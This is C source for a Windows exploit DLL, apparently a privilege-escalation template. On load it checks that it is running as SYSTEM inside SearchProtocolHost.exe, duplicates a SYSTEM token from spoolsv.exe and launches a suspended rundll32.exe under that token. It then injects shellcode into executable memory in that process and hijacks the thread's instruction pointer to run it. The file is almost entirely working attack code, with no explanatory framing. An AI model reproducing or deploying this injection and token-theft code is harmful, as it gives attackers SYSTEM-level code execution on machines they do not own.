#include #include #include #include #include #include "template.h" void ExecutePayload(HANDLE hDll); BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: ExecutePayload(hDll); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) { int result; if (strlen(szStr) < strlen(szSuffix)) { return FALSE; } if (bCaseSensitive) { result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix); } else { result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix); } return result == 0; } BOOL GetProcessSid(HANDLE hProc, PSID *pSid) { HANDLE hToken; DWORD dwLength = 0; TOKEN_USER *tuUser = NULL; SIZE_T szSid = 0; *pSid = NULL; if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) { return FALSE; } GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength); tuUser = (TOKEN_USER *)malloc(dwLength); if (!tuUser) { return FALSE; } if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) { free(tuUser); return FALSE; } szSid = GetLengthSid(tuUser->User.Sid); *pSid = LocalAlloc(LPTR, szSid); if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) { LocalFree(*pSid); *pSid = NULL; } free(tuUser); CloseHandle(hToken); return *pSid != NULL; } BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) { PSID pTestSid = NULL; PSID pTargetSid = NULL; if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) { return FALSE; } if (!GetProcessSid(hProc, &pTestSid)) { LocalFree(pTargetSid); return FALSE; } *pbResult = EqualSid(pTestSid, pTargetSid); LocalFree(pTargetSid); LocalFree(pTestSid); return TRUE; } DWORD FindProcessId(LPCTSTR szProcessName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; DWORD result = 0; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)) { CloseHandle(hProcessSnap); return 0; } do { if (!strcmp(szProcessName, pe32.szExeFile)) { result = pe32.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &pe32)); CloseHandle(hProcessSnap); return result; } HANDLE GetPayloadToken(void) { HANDLE hTokenHandle = NULL; HANDLE hProcessHandle = NULL; BOOL bIsSystem = FALSE; DWORD dwPid = 0; CHAR Path[MAX_PATH + 1]; ZeroMemory(Path, sizeof(Path)); GetModuleFileNameA(NULL, Path, MAX_PATH); if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) { return NULL; } /* loaded into the context of SearchProtocolHost.exe */ if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) { return NULL; } /* and running as NT_AUTHORITY SYSTEM */ dwPid = FindProcessId("spoolsv.exe"); if (!dwPid) { return NULL; } hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); if (!hProcessHandle) { return NULL; } bIsSystem = FALSE; if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) { return NULL; } /* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */ OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle); CloseHandle(hProcessHandle); return hTokenHandle; } DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) { /* wait for the process to exit or 10 seconds before cleaning up */ WaitForSingleObject(pExploitData->hProcess, 10000); CloseHandle(pExploitData->hProcess); CloseHandle(pExploitData->hMutex); /* this does not return */ FreeLibraryAndExitThread(pExploitData->hModule, 0); return 0; } void ExecutePayload(HANDLE hDll) { PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT ctx; LPVOID ep; SECURITY_ATTRIBUTES MutexAttributes; SIZE_T dwBytesWritten = 0; PEXPLOIT_DATA pExploitData = NULL; HANDLE hToken; pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA)); if (!pExploitData) { return; } /* keep a reference to the module for synchronization purposes */ GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule)); ZeroMemory(&MutexAttributes, sizeof(MutexAttributes)); MutexAttributes.nLength = sizeof(MutexAttributes); MutexAttributes.bInheritHandle = TRUE; // inherit the handle pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!"); if (!pExploitData->hMutex) { return; } if (GetLastError() == ERROR_ALREADY_EXISTS) { CloseHandle(pExploitData->hMutex); return; } if (GetLastError() == ERROR_ACCESS_DENIED) { CloseHandle(pExploitData->hMutex); return; } hToken = GetPayloadToken(); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); /* start up the payload in a new process */ if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL; GetThreadContext(pi.hThread, &ctx); ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten); if (dwBytesWritten == SCSIZE) { #ifdef _WIN64 ctx.Rip = (DWORD64)ep; #else ctx.Eip = (DWORD)ep; #endif SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hThread); pExploitData->hProcess = pi.hProcess; } } if (hToken) { CloseHandle(hToken); } CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL); }